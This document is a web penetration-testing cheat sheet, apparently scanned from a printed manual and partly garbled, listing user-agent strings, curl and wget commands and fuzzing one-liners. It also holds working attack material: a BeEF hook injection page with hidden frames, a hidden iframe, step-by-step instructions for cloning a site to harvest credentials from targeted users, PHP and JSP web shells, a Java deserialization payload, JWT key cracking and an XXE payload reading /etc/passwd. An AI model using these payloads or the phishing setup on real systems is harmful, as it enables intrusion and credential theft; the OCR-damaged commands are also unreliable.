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Web

the Web

Common user-agents

Internet Explorer (6.0, 7.0, 8.0, 9.0)

Agent
Version
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
IE 6.0/WinXP 32-bit
Mozilla/ 4. 0 (compatible; MSIE 7. 0; Windows NT 5.1; SV1; .NET CLR 2.0.50-2 7 )
IE 7.0/WinXP 32-bit
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30 7 29)
IE 8.0/WinVista 32-bit
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
IE 9.0/Win7 32-bit
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
IE 9.0/Win7 64-bit

Firefox (5.0, 13.0, 17.0)

Agent
Version
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0
Firefox 5.0/Win7 64-bit
Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1
Firefox 13.0/WinXP 32-bit
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.01 Gecko/20100101 Firefox/17.0
Firefox 17/Win7 64-bit
Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:17.0) Gecko/20100101 Firefox/17.0
Firefox 17.0/Linux
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:17. 0) Gecko/20100101 Firefox/1 7 .0
Firefox 17.0/MacOSX 10.7
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20100101 Firefox/17.0
Firefox 17.0/MacOSX 10.8

Chrome (Generic 13.0)

Agent
Version
Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/53-.11
Chrome Generic/WinXP
Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537 .11 (KHTl~L, like Gecko) Chrome/23.0.1271.97 Safari/53-.11
Chrome Generic/Win7
Mozilla/5.0 (X11; Linux x86 64) AppleWebKit/537 .11 (KHTl~L, like Gecko) Chrome/23.0.1271.97 Safari/53 7 .11
Chrome Generic/Linux
Mozilla/5.0 (Macintosh; Intel Mac OS X 10 8 2) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.12-1.101 Safari/537.11
Chrome Generic/MacOSX
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Chrome 13.0/Win7 64-bit

Safari (6.0)

Agent
Version
Mozilla/5.0 (Macintosh; Intel Mac OS X 10 ~ 5) AppleWebKit/536.26.17 (KHTML, like Ge~ko) Version/6.0.2 Safari/536.26.17
Safari 6.0/MacOSX

Mobile safari (4.0 & 6.0)

Agent
Version
Mozilla/5.0 (iPad; CPU OS 6 0 1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A523 Safari/8536.25
Mobile Safari 6.0/iOS (iPad)
Mozilla/5.0 (iPhone; CPU iPhone OS 6 0 1 like l~ac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A523 Safari/8536.25
Mobile Safari 6.0/iOS (iPhone)
Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4. 0 Mobile Safari/533.1
Mobile Safari 4.0/Android

HTML language

beef code embedded in iframe

!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
html
head.
title Campaign Title· /title
script
var commandModuleStr = ' script src= "' + window.location.protocol +
'//' + window. location. host + ':8080/hook.js"
type="text/javascript" \/script.';
document.write(commandModuleStr);
//Site refresh=window.setTimeout(function() {window.location.href='http://ww
w.google.com/'},20000);
/script
/head
frameset rows="*,1px"
frame src="http://www.google.com/" frameborder=O
noresize="noresize" /
frame src="/e" frarneborder=O scrolling=no noresize=noresize /
/frameset
/html

Embedded java applet code (* must be placed in <body>)

applet archive="legit.jar" code="This is a legit applet" width="1"
height="1"
/applet

Embedded iframe

iframe src="http://1.1.1.1" width="0" height="0" frameborder="0"
tabindex="-1" title="empty" style="visibility:hidden;display:none"
/iframe

Firefox connection methods

ASCII - Base64 javascript:btoa("ascii str")
Base64 - ASCII javascript:atob("base64==")
ASCII - URI javascript:encodeURI(" script "}
URI - ASCII javascript:decodeURI("%3cscript%3E")

Wget command

Token session recording

wget -q --save-cookies=cookie.txt --keep-session-cookies --post-
data="username: admin&password=pass&Login=Login" http://url/login. php

Curl command

Get web page headers by changing user agent

curl -I -X HEAD -A "Mozilla/5.0 (compatible; MSIE 7.01; Windows NT 5.0)"
http:// ip

Get the page after authentication

curl -u user:pass -o outfile https://login.bob.com

Ftp command

curl ftp://user:[email protected]/directory/

Check different files

curl http://bob.com/file[l-10].txt

Creating Basic authentication in apache2

The steps below will clone a website and redirect after 3 seconds to
another page requiring basic authentication. It has proven very useful for
Collecting credentials during social engineering engagements.
​
1. Start Social Engineering Toolkit (SET)
/pentest/exploits/set/./set
2. Through SET, use the 'Website Attack Vector' menu to clone yours
preferred website. 'Do not close SET'
3. In a new terminal create a new directory (lowercase L)
mkdir /var/www/1
4. Browse to SET directory and copy the cloned site
cd /pentest/exploits/set/src/web clone/site/template/
cp index.html /var/www/index.html
cp index.html /var/www/1/index.html
5. Open /var/www/index.html and add tag between head tags
meta http-equiv="refresh"
content="3;url=http:// domainlip /1/index.html"/
6. Create blank password file to be used for basic auth
touch /etc/apache2/.htpasswd
7. Open /etc/apache2/sites-available/default and add:
Directory /var/www/1
AuthType Basic
AuthName "PORTAL LOGIN BANNER"
AuthUserFile /etc/apache2/.htpasswd
Require user test
/Directory
8. Start Apache2
/etc/init.d/apache2 start
9. Start Wireshark and add the filter:
http.authbasic
10. Send the following link to your target users
http://domainlip/index.html

Automate the photo process from the web page

Using nmap

Install dependencies:
wget http://wkhtmltopdf.googlecode.com/files/wkhtmltoimage-0.11.0 rc1-
static-i386.tar.bz2
tar -jxvf wkhtmltoimage-0.11.0 rc1-statlc-i386.tar.bz2
cp wkhtmltoimage-i386 /usr/local/bin/
​
Install Nmap module:
git clone git://github.com/SpiderLabs/Nmap-Tools.git
cd Nmap-Tools/NSE/
cp http-screenshot.nse /usr/local/share/nmap/scripts/
nmap --script-updatedb
​
OS/version detection using screenshot script (screenshots saved as .png):
nmap -A -script=http-screenshot -p80,443 1.1.1.0/24 -oA nmap-
screengrab
​
Script will generate HTML preview page with all screenshots:
#!/bin/bash
printf "HTHL.- BODY BR"
preview.html
ls -1 '.png I awk -F : ' {print $1":"$2"\n BR- IMG SRC=\""$1"%3A"$2"\"
width=400 BR BR ")' preview. html
printf " /BODY /HTML. " preview. html

Peepingtom command

Installation Dependencies:
Download Phantomjs
https://phantomjs.googlecode.com/files/phantomjs-1.9.2-linux-x86_64.tar.bz2
Download PeepingTom
git clone https://bitbucket.org/LaNMaSteR53/peepingtom.git
Extract and copy phantomjs from phantomjs-1.9.2-linux-x86 64.tar.bz2 and
copy to peepingtom directory
Run PeepingTom
python peepingtom.py http:// mytarget.com

Injection of different payloads with wfuzz

wfuzz -c -z file,/usr/share/wfuzz/wordlist/Injections/XSS.txt -hc 404 https://www.example.com/?req=search_site&searchTitle=FUZZ

Guess different files with specific extensions with wfuzz

wfuzz -w /usr/share/wordlists/big.txt -u http://admirer.htb/admin/FUZZ.FUZ2Z -z list,txt-php --hc 403,404 -c

guess at POST requests

wfuzz -X POST -u ''http://quick.htb/login.php' -w elist.txt -d 'email=FUZZ&password=123456' -hc 200 -c

Guess web paths with ffuf

ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -u http://10.10.10.10/FUZZ

Guess subdomain with gobuster

gobuster dns -t 50 -d pubg.com -w ~/seclists/Dir/subdomains.dat
Subdomain guess with ffuf
ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://
example.com/ -H "Host: FUZZ.example.com"

Find subdomain based on certificates

https://crt.sh/
و
assetfinder --subs-only <domain> | httprobe

Injection of php inside jpeg

giftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' me.jpg

Exploit deserialization of Java programs

java -jar ysoserial.jar CommonsBeanutils1 'COMMAND' | base64 -w0

Famous web shells

https://github.com/TheBinitGhimire/Web-Shells

Extracting the structure of folders and files from .git

https://github.com/arthaud/git-dumper
./git-dumper.py http://example.com/.git/ example.com

Extract information from .git

https://github.com/internetwache/GitTools
./extractor.sh /tmp/mygitrepo /tmp/mygitrepodump

Extract information from .DS_Store

1- find structure
python2.7 ds_store_exp.py http://poo.htb/.DS_Store
2-enum in found path
java -jar iis_shortname_scanner.jar 2 20 http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/

Extracting page parameters

python3 paramspider.py --domain bugcrowd.com --exclude woff,css,js,png,svg,php,jpg --output bugcrowd.txt

Examining the structure of parameters based on patterns of vulnerabilities

gf xss domain.txt
gf potential domain.txt

Guess the jwt symmetric encryption key

jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6
​
Or
​
​

public key guess jwt asymmetric encryption

docker run --rm -it portswigger/sig2n <token1> <token2>

Create web shell jpg

giftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' meme.jpg

Create web shell jsp

<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

Read file with xxe

<? xml\ version = "1.0"\ encoding = "UTF − 8"? >
< ! DOCTYPE\ abc\ [
< ! ENTITY\ ab\ SYSTEM\ "file:///etc/passwd" >
] >
< root >< name > &ab; </name >< tel > demo </tel >< email > demo@demo. com </email >< password > demo <
/password ></root >
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